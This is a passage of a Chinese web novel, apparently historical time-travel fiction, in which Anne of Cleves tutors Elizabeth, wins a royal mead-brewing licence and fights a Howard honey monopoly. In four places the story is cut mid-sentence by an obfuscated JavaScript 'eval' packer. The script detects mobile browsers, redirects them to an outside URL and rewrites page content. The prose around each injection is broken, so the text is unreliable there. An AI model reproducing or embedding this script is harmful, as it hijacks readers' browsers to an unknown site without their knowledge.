声音穿透了喧嚣的音乐和谈笑声，如同投入平静湖面的一颗石子。宴会厅里瞬间安静了许多，无数道目光齐刷刷地投向门口。 安妮·克里夫斯，身着低调而华贵的深蓝色天鹅绒长裙，裙摆上仅以银线绣着细小的星辰图案，领口处一枚简洁的钻石胸针熠熠生辉。她身姿挺拔，仪态万方，脸上带着沉静从容的微笑。而她臂弯里，是英俊潇洒、笑容迷人的托马斯·西摩。这幅画面，与厅内凯瑟琳那夺目的金色形成了奇妙的对比——一个如深邃夜空，一个似正午骄阳。 亨利八世正搂着凯瑟琳旋转，闻声立刻停下舞步。他松开新王后，脸上堆起热情（甚至有些过于热情）的笑容，大步迎向门口。“安妮！我最亲爱的妹妹！”他洪亮的声音响彻大厅，“你能来真是太好了！欢迎！欢迎！” 凯瑟琳也迅速调整了表情，努力维持着女主人的端庄仪态，紧跟在亨利身侧。她挽住亨利的臂膀，仿佛在宣示主权，脸上也挤出最灿烂的笑容：“安妮姐姐，欢迎您！您的到来让今晚更加完美！”她的声音甜美，但眼神深处那丝紧张和审视却难以完全掩饰。 安妮在托马斯的小臂上轻轻一按，示意他停下。她从容地向前一步，对着亨利和凯瑟琳，行了一个无可挑剔、优雅至极的屈膝礼，深蓝色的裙摆在她身后铺展开，如夜幕低垂。 “尊敬的国王陛下，尊贵的王后陛下，”她的声音清晰而柔和，带着德意志口音的英语此刻听来格外悦耳，“圣灵降临节快乐。愿上帝赐予二位陛下无尽的健康与幸福，愿英格兰在您们的共同治理下繁荣昌盛，如同今夜这璀璨的灯火。” 她的祝词得体、真诚，充满了对国王和王后的祝福，挑不出一丝错处。瞬间的寂静之后，宴会厅中央爆发出热烈的掌声。贵族们为这看似“和睦”的一幕，为亨利展现的“宽宏大量”，也为安妮表现出的“识大体”而鼓掌。掌声中，亨利笑得更加开怀，凯瑟琳也暗暗松了口气，脸上的笑容自然了些许。 托马斯·西摩站在安妮身侧稍后的位置，看着她在掌声中微微颔首致意，侧脸上沉静的线条在辉煌灯火下显得格外动人。他的嘴角，也勾起了一抹意味深长的弧度。 就在这“和睦”的掌声达到高潮时，安妮脚边蹲坐着的胡椒狗，似乎被厅内过于浓郁的混合香气刺激，响亮地打了个喷嚏，引得附近几位夫人掩口轻笑。安妮低头，安抚地拍了拍它毛茸茸的脑袋，狗爪顺势按住了她深蓝色裙摆上的一颗小银星。 19. 归途絮语与风暴的中心 汉普顿宫的喧嚣被远远抛在身后，安妮的马车碾过月光铺洒的石板路，朝着静谧的里士满驶去。车厢内，伊丽莎白脱掉了拘谨的宫廷小礼服，裹着一条柔软的羊毛毯，像只终于能放松下来的小猫，蜷在安妮身边。胡椒狗则满足地趴在安妮脚边，发出轻微的鼾声。 车窗外，英格兰的夏夜宁静而深邃。沉默了片刻，伊丽莎白忽然抬起头，灰绿色的眼眸在昏暗的光线下显得格外明亮，带着孩童特有的困惑。 “老师，”她的声音轻轻的，带着思考的痕迹，“凯瑟琳王后……她今晚很美，不是吗？像橱窗里最耀眼的金丝雀。她对我笑的时候，眼睛弯弯的，还偷偷给了我一颗裹着金箔的糖。”她顿了顿，小眉头微微蹙起，“可是……玛丽姐姐好像很不喜欢她。我能感觉到，玛丽姐姐看她的眼神，比看格林威治宫的冬天还要冷。但凯瑟琳王后……她似乎并没有做什么特别坏的事情？至少，没有像那些人说的……像安妮·博林……” 安妮轻轻揽住女孩瘦小的肩膀，感受到她身体传递出的迷茫。权力的漩涡如此复杂，连早慧的伊丽莎白也感到了眩晕。她望向窗外飞逝的树影，声音平静，如同在讲述一个古老的寓言： “亲爱的贝丝，在权力的高塔里，很多时候，对错并非像算术题那样一目了然。凯瑟琳王后或许此刻并未对你、对我做出直接的伤害，她展现的也可能确实是天性中率真甚至善良的一面。但是，她的存在本身，她所占据的那个位置——王后的宝座——就是风暴的中心。” 她感觉到伊丽莎白靠得更近了些，认真地听着。 “玛丽公主的不喜欢，甚至敌意，并非仅仅针对凯瑟琳这个人。”安妮的声音低沉而清晰，“那是针对她背后的霍华德家族日益膨胀的野心，针对她轻易得到的、玛丽曾经拥有又失去的地位与父王的宠爱，更针对一种……被轻视的感觉。玛丽视自己为真正的、血统高贵的公主，而凯瑟琳的出身和某些举止，在她看来，是对王室尊严的亵渎。至于凯瑟琳是否真的‘做错了什么’……在这个地方，‘存在’本身，尤其是以某种‘不合规矩’的方式存在，往往就是最大的‘错’。” 伊丽莎白似懂非懂地点点头，小脸上依然带着困惑：“所以……就像下棋？不是看棋子本身好不好看，而是看它站在哪里，会威胁到谁？” 安妮微微笑了，为她的敏锐感到欣慰：“非常贴切的比喻，贝丝。权力的游戏里，位置就是一切。输赢往往不取决于个人品行的绝对好坏，而取决于谁能在风暴中站稳脚跟，谁能让对手失去立足之地。凯瑟琳此刻风光无限，但她的根基，系于国王瞬息万变的宠爱和霍华德家并不稳固的权势之上。玛丽……她虽然痛苦，但她的血脉和她所代表的旧教势力，本身就是一种难以撼动的力量，只是暂时被压抑了。” 胡椒狗在梦中呜咽了一声，仿佛也感受到了这无形的暗流。车厢内再次陷入沉默，只有车轮规律的滚动声。伊丽莎白依偎着安妮，似乎在消化这沉重而现实的课程。 *** 而此时，她们刚刚离开的汉普顿宫，风暴并未停歇，反而在无人注意的角落酝酿成了雷霆。 舞会虽散，余温尚存。凯瑟琳回到自己的寝宫套房，屏退了大部分侍女，只留下心腹的安妮·巴斯克维尔。晚宴上玛丽那冰锥般的目光和毫不掩饰的轻蔑，像根刺扎在她心头，让她刚才强装的愉悦荡然无存。她烦躁地扯下沉重的珍珠项链，随手扔在梳妆台上，发出清脆的撞击声。 “她算什么东西！”凯瑟琳对着镜子，镜中那张年轻娇艳的脸因愤怒而微微扭曲，“一个被废弃公主生下的老处女！整天板着脸，穿着像寡妇一样的黑衣服！她凭什么用那种眼神看我？她以为她还是那个至高无上的‘玛丽公主’吗？她现在什么都不是！” 安妮·巴斯克维尔小心翼翼地递上一杯加了蜂蜜的温牛奶，试图安抚：“王后陛下息怒，玛丽公主她……她只是性格古板了些。” “古板？她是刻薄！是嫉妒！”凯瑟琳猛地转身，声音拔高，“你没看见她是怎么对安妮·克里夫斯的吗？虽然也冷淡，但至少还有几分表面的尊重！对我呢？连敷衍都懒得敷衍！她是不是觉得那个德意志女人比我更有资格当王后？一个连国王的床都爬不上去的失败者？” “陛下！”安妮·巴斯克维尔吓得脸色发白，慌忙示意她小声。 就在这时，寝宫的门被轻轻推开。玛丽公主站在门口，显然正要离开，却无意中听到了最后几句尖锐的指控。她苍白的脸上没有任何表情，只有那双深陷的眼睛，燃烧着冰冷的怒火。 “王后陛下，”玛丽的声音如同淬了冰的刀刃，每一个字都清晰无比，“您是在谈论我吗？还是在对您自己‘爬床’的成功沾沾自喜？” 凯瑟琳被撞破，瞬间的慌乱后是更强烈的羞怒。她霍然起身，指着玛丽：“你！你竟敢偷听！这就是你所谓的‘王室教养’？” 玛丽向前一步，昂着头，即使比凯瑟琳矮一些，气势却丝毫不输：“比起在背后恶语中伤，偷听算得了什么？至于教养，王后陛下，或许您该先学会管好自己的舌头和举止。在宴会上咯咯傻笑，扭动腰肢，像个……”她顿了顿，刻薄的话语冲口而出，“像个刚从集市上招揽完客人的村姑！这才是对王室尊严最大的亵渎！安妮·克里夫斯再不济，至少懂得什么叫‘得体’！” “村姑？！”凯瑟琳气得浑身发抖，最后一丝理智也崩断了。长久以来被轻视、被拿来比较的委屈和愤怒瞬间爆发，她口不择言地尖声反击：“那你呢？你这个没人要的老处女！你嫉妒我！嫉妒我能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155909|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得到国王的爱，嫉妒我能成为真正的王后！而你？一个被自己父亲厌弃的私生女，一个永远嫁不出去、只能抱着十字架发霉的老女人！你除了用那张刻薄的嘴和那身死气沉沉的黑衣服来掩饰你的失败和可怜，你还会什么？！” “住口！”玛丽的脸瞬间惨白如纸，身体剧烈地摇晃了一下，仿佛被这恶毒的言语当胸刺穿。她一生最大的痛楚和耻辱——母亲被废黜、自己被宣布为私生女、政治联姻的屡次失败——被凯瑟琳赤裸裸地撕开，暴露在空气中。 “你……你竟敢……”玛丽的声音颤抖得不成样子，巨大的屈辱和愤怒让她几乎窒息。她猛地吸了一口气，用尽全身力气维持着最后的尊严，声音却破碎不堪：“好！好一个王后陛下的威风！我玛丽·都铎，不配待在您这金碧辉煌的宫殿里，玷污您的眼睛！我这就走！回我的汉斯敦（Hunsdon）去！离您远远的！” 她说完，转身就要冲出去，脚步踉跄，仿佛再多待一秒就会彻底崩溃。 就在这时，一个身影从走廊阴影中快步走出，正是诺福克公爵托马斯·霍华德。他显然是听到了动静赶来的。他一把扶住摇摇欲坠的玛丽，声音带着恰到好处的关切和威严：“公主殿下！请留步！” 玛丽像抓住救命稻草一样，死死抓住诺福克公爵的手臂，指甲几乎要嵌进他的衣服里。她抬起头，那张一向冷硬倔强的脸上，此刻布满了泪水，眼神里交织着极致的痛苦、愤怒和对命运不公的控诉。她看着诺福克公爵，嘴唇哆嗦着，终于无法再维持坚强的假面，压抑的哭声从喉咙深处涌出，带着绝望的嘶哑： “她……她怎么能……她竟敢……嘲笑我……嘲笑我永远……永远结不了婚……嘲笑我是……没人要的老处女……公爵……我……我……” 她泣不成声，巨大的屈辱感和被命运反复捉弄的悲愤彻底将她淹没，身体在诺福克公爵的扶持下依然抖得像风中的落叶。 诺福克公爵眼中闪过一丝不易察觉的精光，他拍着玛丽的后背，像安抚一个受伤的孩子，声音低沉而充满“同情”：“殿下，冷静，请冷静。王后陛下年轻气盛，口不择言，您万勿放在心上。您的身份，您的血脉，岂是她能置喙的？您的价值，远非一场婚姻所能定义。” 他一边说着，一边用眼神示意安妮·巴斯克维尔赶紧将情绪失控的凯瑟琳带离现场。 走廊里只剩下玛丽压抑的、撕心裂肺的哭泣声，在空旷华丽的汉普顿宫里回荡，如同黑夜中受伤野兽的哀鸣。权力场上的又一道裂痕，在恶毒的言语和屈辱的泪水中，被狠狠撕开，深可见骨。 而在驶向里士满的马车上，安妮轻轻抚摸着伊丽莎白柔软的头发，对身后那座灯火辉煌的宫殿里正在上演的悲剧风暴，一无所知。胡椒狗在梦中又呜咽了一声，仿佛预见了什么。 20. 御赐执照 里士满行宫的书房里，午后的阳光透过高大的窗户，在橡木地板上投下温暖的光斑。空气中弥漫着旧羊皮纸、墨水和安妮特意点燃的、带着淡淡松木香的蜡烛气息。安妮和伊丽莎白正伏在宽大的书案前，面前摊开的是一幅精心绘制的星图副本——正是她们那晚在塔楼绘制的、包含“Rosula”的那张。安妮正用拉丁文低声讲解着托勒密星图的修正原理，伊丽莎白听得全神贯注，指尖在图纸上缓缓移动，追寻着那些玫瑰色的连线。 胡椒狗趴在壁炉旁的地毯上，肚皮随着呼吸一起一伏，发出满足的咕噜声。这宁静而充满智识的氛围，被门外突然响起的、略显粗重的脚步声和侍卫的通禀声打破。 “国王陛下驾到——！” 安妮和伊丽莎白同时一愣，迅速交换了一个惊讶的眼神。亨利八世极少主动踏足里士满，尤其是在没有提前通知的情况下。两人立刻起身，安妮快速整理了一下裙摆，伊丽莎白则迅速将桌上的星图小心卷起，藏到一叠厚重的账簿下面。 书房门被推开，亨利高大的身躯几乎填满了门框。他穿着相对舒适的深红色天鹅绒便袍，但脸上带着一丝长途跋涉后的疲惫，以及……一丝不易察觉的寻求慰藉的意味。显然，汉普顿宫那场风暴后的余波，让他也想暂时逃离那个金丝雀笼和哭泣的女儿带来的压抑。 伊丽莎白行了一个完美的屈膝礼，小脸上带着恰到好处的惊喜和恭敬。安妮也优雅地行礼：“陛下日安，您的驾临让里士满蓬荜生辉。” “起来吧。”亨利走到书案旁，目光扫过那些书籍的封面。他随手拿起一本翻看，正是伊丽莎白最近在啃的拉丁文语法书。“嗯，好，很好。”他拿出一本书递给伊丽莎白 “这是《伊拉斯谟教育论》，拉丁原文。虽然难懂但是非常值得一读。” 又补一句，声音软得不像战场上的杀妻者： “女子若无学识，便如城堡无窗，再富丽也暗无天日。” 女孩眼睛亮得像新磨的银币，郑重接过。 安妮站在阴影里，心里翻江倒海： ——他对妻子挥剑，对女儿却递书。 ——难怪这些孩子将来会造出日不落帝国。 亨利摸着伊丽莎白的辫子，语气温柔得能滴出水： “读书不是为了嫁人，是为了在任何风暴里站稳。” 女孩点头，小声背出一句拉丁格言： “Non scholae sed vitae discimus.”（我们不仅为学校，更为人生而学） 亨利朗声大笑 客房壁炉噼啪，火舌舔着松木，松脂香混着药草的辛辣。 晚餐就在里士满宫那间面向花园、布置温馨的小餐厅进行。没有汉普顿宫的奢华排场，餐桌上摆着安妮自制的香草面包、烤得恰到好处的里脊肉、新鲜的时令蔬菜沙拉，还有一小壶温热的苹果酒。气氛轻松随意了许多，亨利甚至饶有兴致地听伊丽莎白讲起她在塔楼观星的趣事。 然而，就在晚餐接近尾声，亨利试图站起身活动一下时，意外发生了。他刚迈出一步，左腿膝盖处猛地传来一阵钻心的剧痛，仿佛被烧红的铁钎贯穿！他高大的身躯瞬间僵硬，脸色由红润转为煞白，额头上瞬间渗出豆大的冷汗。他闷哼一声，巨大的身躯不受控制地向旁边歪倒，幸好及时扶住了沉重的橡木椅背，才没有狼狈摔倒。御医格里夫斯端着鎏金罂粟酒，亨利抬手推开：“那东西胀得我头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155910|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疼。” 安妮从冰窖取出一只细颈瓷瓶，瓶身贴着潦草标签：安胎蜜 12°。 配方是她昨夜刚调： ? 菩提花蜂蜜 60 %——镇静安神 ? 轻烤麦芽汁 20 %——柔和口感 ? 柳树皮、干姜各少许——止痛、抗炎 ? 一滴橙花水——掩盖药味，添香气 她倒出一小杯，琥珀色液体在火光里晃动，像融化的夕阳。 “陛下，尝一口，再决定要不要第二口。” 亨利狐疑地嗅了嗅，抿一口，甜里带辣，辣后回甘。 他喉结滚动，连喝三杯，腿痛竟像被冰水浇灭的火。火钳上的松木“啪”地炸出火星，映得他眼底浮起久违的轻松。 御医格里夫斯目瞪口呆，悄悄把罂粟酒倒进壁炉，“滋啦”一声，酒香与松脂味混在一起，像一场小型烟火。 痛觉稍退，亨利靠在扶手椅里，手指敲着扶手，像在敲行军鼓。 “日产多少？” “二百加仑。” “税？” “一成半，包销御膳房。” 亨利笑了，声音低却亮：“你倒会做生意。” 他从怀里摸出一卷羊皮纸——皇家酿酒特许，空白处只缺金印。 “火漆。” 啪嗒！狮子印落下，纸面还微微发烫。 安妮双手接过，指尖微颤——这张薄纸值一座庄园。 “马蹄声远去，城堡重归寂静。 窗外，残月如钩。 安妮把那张新鲜出炉的酿酒特许贴在壁炉上方，火光映得狮子印闪闪发亮。 此夜之后，酒旗可正大光明地挂起 21. 第 21 章 《第一狗称：玫瑰味日记》 时间：1541 年 7 月 1 日（狗历：第 7 个满月） 地点：里士满·安娜宫 作者：胡椒·冯·尾巴爵士（自封） 【7:00晨嗅】 两脚兽还在赖床，我负责叫醒服务。先舔她的鼻尖，再踩她的胸口，最后把尾巴当成鸡毛掸子扫她的脸。成功！安妮咕哝一句“再睡五分钟”，于是我把脑袋塞进被窝，用鼻子拱出一只热乎乎的姜饼。偷吃成功 +1。 【8:00巡逻】 厨房门口，老约翰把第一桶“离婚快乐水”搬出来，我闻了闻，给出一个“汪级评价”——尾端摇三圈，代表“合格”。老约翰赏我一块边角姜饼，我把它埋进花盆，打算晚上当夜宵。 【9:00外交】 一只没礼貌的鸽子落在窗台，啄我昨天埋的姜饼。我冲它龇牙，它冲我咕咕。我们达成互不侵犯条约：它负责带信，我负责不咬它尾巴。鸽子走时留下一根羽毛，我把它插在安妮的墨水瓶里，假装是她昨晚写的“情书”。 【10:00教育】 伊丽莎白小主人跟着家庭教师练舞步，我在旁边当节拍器。她踩错拍子，我“汪”一声提醒；她转得漂亮，我尾巴摇成风车。老师夸我是“最尽责的伴奏”。我骄傲地仰头，差点撞到吊灯。 【11:00品控】 安妮把蜂蜜酒分装小瓶，让我试味。我舔第一口，尾巴摇两圈——甜！第二口，耳朵竖成雷达——辣！第三口，我原地转圈，表示“完美”。安妮在我额头画了一个白色小玫瑰，说：“胡椒牌质检合格。”我立刻跑到镜子前欣赏新纹身。 【14:00午睡】 太阳正好，我把肚皮摊在石板地上，像一张烤热的饼。梦见自己变成一只猎鹰，翅膀下挂着一桶酒，飞过泰晤士河，把亨利八世的帽子叼走了。醒来发现尾巴被伊丽莎白绑了一个蝴蝶结。我忍了，因为她给了我一块奶酪。 【16:00外交2.0】 邮差送来一封信，上面飘着陌生狗味。我围着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155911|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 信封转三圈，确认安全后，用牙齿轻轻叼给安妮。信里写着“十箱订单”。我高兴得原地后空翻，差点撞到胡椒罐。 【18:00夜巡】 城堡熄灯后，我提着灯笼（其实是安妮的旧靴子）巡视。老鼠躲在墙缝里嘲笑我，我冲它们“汪”一声，老鼠们立刻排队撤退。我昂首挺胸，感觉自己像一位披风骑士，只是披风是安妮的围裙。 【21:00夜宵】 安妮把最后一块姜饼留给我，我把它藏在枕头底下。伊丽莎白来偷，我假装睡觉，等她走远后，叼着姜饼跑到屋顶，对着月亮啃。月亮像一块巨大的奶酪，我啃得满嘴玫瑰香。 【23:00日记结尾】 今天尾巴摇的次数：147 次。 收到赞美：6 句。 偷吃成功：3 次。 埋姜饼：2 块（其中 1 块已被鸽子偷走）。 明天继续当玫瑰味的守护神。 ——胡椒·冯·尾巴爵士 （按爪印：??） 22. 蜂蜜酒军成立 清晨，里士满河面漂着薄雾。 安妮把第一面酒旗挂上码头旗杆： 白底红玫瑰，中央一只叼酒桶的胡椒狗，旗角绣着一行字： “Rosula’s Divorce Nectar——微醺不醉，专治心碎”。 旗下，六名佃户换上统一围裙，背后绣着“蜂蜜酒军”字样。 ? 老约翰管发酵桶 ? 小汤姆负责贴标 ? 双胞胎姐妹专司灌装 胡椒狗自封“品控队长”，每出一桶就伸舌头试味，尾巴打分。 第一批货 120 加仑，日出即售罄。 银币哗啦倒进木箱，安妮拿粉笔在板壁上记下： “日盈利 18 马克 7 先令 3 便士——比打鱼强。” 午后，三匹栗色马停在城堡吊桥前。 领头的是伦敦关税署副署长——托马斯·布莱克，一张长脸配薄嘴唇，像被熨斗烫过。 布莱克掏出卷轴，声音刻板： “奉《酿酒特许法》第 17 条，庄园自酿不得超过 200 加仑/年，违者每加仑罚 2 先令。” 他扬起下巴，“请出示执照，并清点库存。” 酒坊瞬间安静，只听见发酵桶“咕嘟咕嘟”冒泡。 安妮不慌不忙，从抽屉抽出一卷羊皮纸—— 皇家酿酒特许，亨利亲笔签名 特许范围：年产 1 000 加仑，可对外销售，税仅一成半。 布莱克的表情像被按了暂停键： 青——红——白——最后挤出干笑： “王后殿下……哦不，安娜女士，打扰了。” 布莱克想找回场子，提出“抽样检验”。 安妮拍手，老约翰抬出十桶新酒，封口火漆完整。 布莱克抽出一桶，拔塞，酒香直冲鼻腔。 他抿一口，眼睛瞬间睁圆——甜、辣、回甘，层次分明。 安妮笑眯眯递上两瓶“离婚快乐水”： “带回去给署长大人尝尝，运费免了。” 布莱克本想拒绝，手却比嘴诚实，两瓶酒已落进马鞍袋。 清晨，伦敦关税署门口。 布莱克与署长共饮那两瓶酒，边喝边咂嘴： “此酒只应天上有。” 当天午后，署里小吏送来订单： “十箱，急用，价照市价。” 安妮在账簿上写下： “广告费 0 便士，订单 10 箱× 2 马克 = 20 马克纯利。” 胡椒狗在旁摇铃，仿佛在说： “税务官亲自带货，效果杠杠的。” 五、酒军扩编 订单一来，人手立刻紧张。 安妮在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16155912|180550||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城堡门口贴出招募告示： “蜂蜜酒军扩招——日薪 8 便士，包三餐，外加每日试酒权。” 半天内，来了 12 名壮汉、3 名寡妇、1 名退役鼓手。 鼓手自带节奏，灌装工序立刻有了“咚——咚——咚”的背景乐。 六、伊丽莎白的小算盘 晚上，女孩抱着小账本溜进酒坊： “老师，我算过了。 日销 200 加仑，月销 6 000。 扣去原料、人工、税，净利 400 马克。 年底可买一艘 40 吨商船。” 安妮刮她鼻尖：“先买船，再挂玫瑰旗，怎么样？” 伊丽莎白在纸上画了一艘船，船首是一只叼酒桶的胡椒狗。 七、尾声——税卡再遇 月底，布莱克再次出现在码头。 这次他没带卷轴，只带空箱。 “署长大人说，以后每月 20 箱，可否便宜 5 %？” 安妮递给他新口味“加冕蜜”，微笑： “量大从优，但税一分不能少。 不过，每买十箱送一桶‘税务官特供’，如何？” 布莱克愣了愣，最终点头，嘴角咧到耳根。 胡椒狗在旁边吹哨，声音清脆—— 像是给蜂蜜酒军吹响了下一场胜利的号角。 23. 蜂蜜战争 里士满的秋日，空气里弥漫着丰收的甜腻与一丝不易察觉的硝烟味。安妮的“离婚快乐水”（现在被伦敦的贵族们戏称为“安娜金露”）已不再是里士满一隅的秘密。随着酿酒特许的加持和关税署“带货”的奇效，订单如泰晤士河的潮水般涌来。安娜宫的码头昼夜不息，“蜂蜜酒军”的队伍也扩编至二十余人，发酵桶的咕嘟声、灌装的叮当声、鼓手老杰克那标志性的“咚——咚——咚”节奏，交织成一首生机勃勃的财富进行曲。胡椒狗尾巴摇出的弧度，几乎成了里士满经济活力的晴雨表。 然而，财富如同盛开的玫瑰，必然招引蜂蝶，也引来了秃鹫。霍华德家族，这头盘踞在英格兰权力与财富顶端的巨兽，嗅到了这新晋“金露”中流淌的黄金味道。更关键的是，他们无法容忍一个被他们亲手推下王座、本应黯然凋零的女人，竟在远离权力中心的地方，开辟出一片如此丰饶、且不受他们控制的领地。尤其当这领地，还隐隐滋养着他们视为眼中钉的西摩家族的利益时（托马斯·西摩在几次宫廷社交场合，都“恰好”带着一瓶“安娜金露”作为体面的手信）。 **秃鹫的利爪：蜂蜜垄断令** 攻击来得精准而狠辣，并非针对安妮本人，而是直指她的命脉——原料。 一个雾气蒙蒙的清晨，老约翰面色铁青地冲进酒坊，手里捏着一张盖着诺福克公爵纹章火漆的羊皮纸令函。 “夫人！出事了！”老约翰的声音带着愤怒的颤抖，“霍华德家的人控制了肯特郡、苏塞克斯郡和汉普郡超过七成的蜂场！他们刚刚颁布了《秋季蜂蜜专营令》，所有优质蜂蜜优先供应宫廷、指定贵族…以及他们自家的酿酒坊！剩下的，要么是劣等蜜，要么价格翻了足足三倍！还限量！” 酒坊瞬间安静下来，连鼓手老杰克都忘了敲击。发酵桶的咕嘟声显得格外刺耳。所有人都看向安妮。劣等蜜会毁了“安娜金露”好不容易建立的口碑和独特风味，而三倍的成本价，足以吞噬掉所有利润，甚至让她倒贴。 安妮接过令函，指尖冰凉。羊皮纸上措辞冠冕堂皇，打着“保障宫廷用度，稳定市场”的旗号，落款处诺福克公爵托马斯·霍华德的签名龙飞凤舞，透着不容置疑的傲慢。她甚至能想象出公爵在汉普顿宫，对着新王后凯瑟琳（他的侄女）志得意满的样子。 “霍华德…”安妮低声咀嚼着这个名字，眼前闪过历史上凯瑟琳·霍华德被拖上断头台时，诺福克公爵那急于撇清关系、甚至落井下石的冷酷嘴脸。贪婪是他们的本性，而毁灭，往往是贪婪的终点。她不能坐以待毙，更不能让这头贪婪的巨兽轻易撕碎她辛苦建立的避风港。 **安妮的棋盘：借力打力，以退为进** 拒绝硬碰硬是愚蠢的。霍华德家族此刻如日中天，手握王后这张王牌，垄断令在法理上几乎无懈可击。安妮需要的是智慧，是盟友，是让霍华德家族投鼠忌器的筹码。 她的目光落在了角落里一箱贴着“特供西摩府”标签的酒瓶上。托马斯·西摩…那个在圣灵降临节舞会上向她伸出臂膀的英俊爵士，他背后的西摩家族，正是霍华德家族在宫廷中最强劲的对手。而西摩家族最大的筹码，是王位的第一顺位继承人——爱德华王子，简·西摩留给亨利八世唯一的儿子。 当天下午，一封措辞恭敬却暗藏机锋的信，由安妮最信任的、口风极紧的老仆人亲自送往伦敦西摩府。信中，安妮首先感谢托马斯爵士对“安娜金露”的青睐，随即“忧心忡忡”地提及了霍华德公爵的《秋季蜂蜜专营令》，称此令“虽为保障宫廷，然恐波及如西摩府这般尊贵府邸之日常用度”，并委婉表示，若原料受限，“特供西摩府之‘金露’恐难以为继，品质亦恐有损”。最后，她以谦卑的姿态，“恳请睿智如西摩爵士，若于宫廷议政之时，得便进言一二，为众多仰赖优质蜂蜜之小产业主（当然包括她自己）求得一线生机，则感激不尽。” 信中只字未提结盟或对抗霍华德，却处处暗示共同的“不便”和潜在的“损失”，尤其是对西摩家族面子的潜在影响——连特供酒都保证不了品质？ **西摩的回应：利益同盟的试探** 托马斯的回信来得很快。没有华丽的辞藻，只有一行简洁有力的字迹，约她在三日后于里士满与格林威治之间、泰晤士河畔一处僻静的贵族猎屋“橡木厅”会面，署名处画了一个小小的船锚标志（西摩家族徽章元素之一）。 橡木厅内，松木燃烧的香气驱散了秋日的微寒。托马斯·西摩一身利落的骑装，少了几分宫廷的浮华，多了几分实干家的锐利。他开门见山： “安娜女士，您的困境我已知晓。霍华德的手伸得太长了，连蜂蜜罐子都要攥住。”他啜饮了一口带来的“安娜金露”，眼神锐利，“他们的贪婪会毁掉很多东西，包括…王国的商业活力。这并非陛下乐见。” 安妮为他斟满酒，姿态从容：“爵士明鉴。我不过想安静地酿点酒，上缴陛下特许的税金，养活里士满的一群人。霍华德公爵的‘专营’，似乎连陛下特许的‘必要原料采购权’都一并剥夺了。”她轻轻点出国王特许状这个护身符。 托马斯眼中闪过一丝赞许，这个女人很聪明，懂得在何处立足。“陛下的特许状是您的盾牌，安娜女士。但盾牌需要挥舞才有力量。”他身体微微前倾，压低声音，“霍华德现在风头太盛，王后的枕头风…威力不小。直接对抗非明智之举。但，他们并非无懈可击。” “哦？”安妮适时表现出“请教”的姿态。 “垄断令的借口是‘保障宫廷’。但宫廷的需求量是固定的，霍华德强行囤积那么多优质蜜，必然造成市面短缺和价格虚高，这本身就是对‘稳定市场’的讽刺。”托马斯嘴角勾起一抹冷笑，“而且，他们忘了，陛下最讨厌两件事：一是有人挑战他的绝对权威，二是…影响他享受生活。您这‘金露’，据我所知，对陛下的痛风颇有奇效？” 安妮心领神会：“承蒙陛下不弃，偶尔饮用。若因原料短缺导致品质下降或供应中断，无法为陛下分忧，实乃我之罪过。”她把“影响陛下享受”的锅，巧妙地扣回了霍华德头上。 “正是此理。”托马斯点头，“我会在适当的场合，比如枢密院讨论冬季宫廷供给预算时，‘顺便’提一提蜂蜜市场的异常波动，以及…某些家族囤积居奇可能对陛下御用物品（包括某些特效饮品）供应造成的影响。当然，”他话锋一转，蓝色的眼睛直视安妮，“西摩家族在肯特郡也有一些蜂场，虽然规模不大，但产出的蜂蜜品质上乘。若安娜女士不嫌弃，我们可以建立…长期、稳定的供货关系。价格嘛，绝对公道，按市价…风波前的市价。” 这才是关键！安妮心中雪亮。西摩家族不仅要在政治上给霍华德使绊子，更要直接介入，分一杯羹，同时拉拢她这个“现金奶牛”。这是一场基于共同利益（对抗霍华德、获取利润）的结盟。 “爵士雪中送炭，感激不尽。”安妮微笑应承，“能与西摩家族合作，是我的荣幸。只是，霍华德家族势大，仅靠西摩家的蜂场，恐怕…” 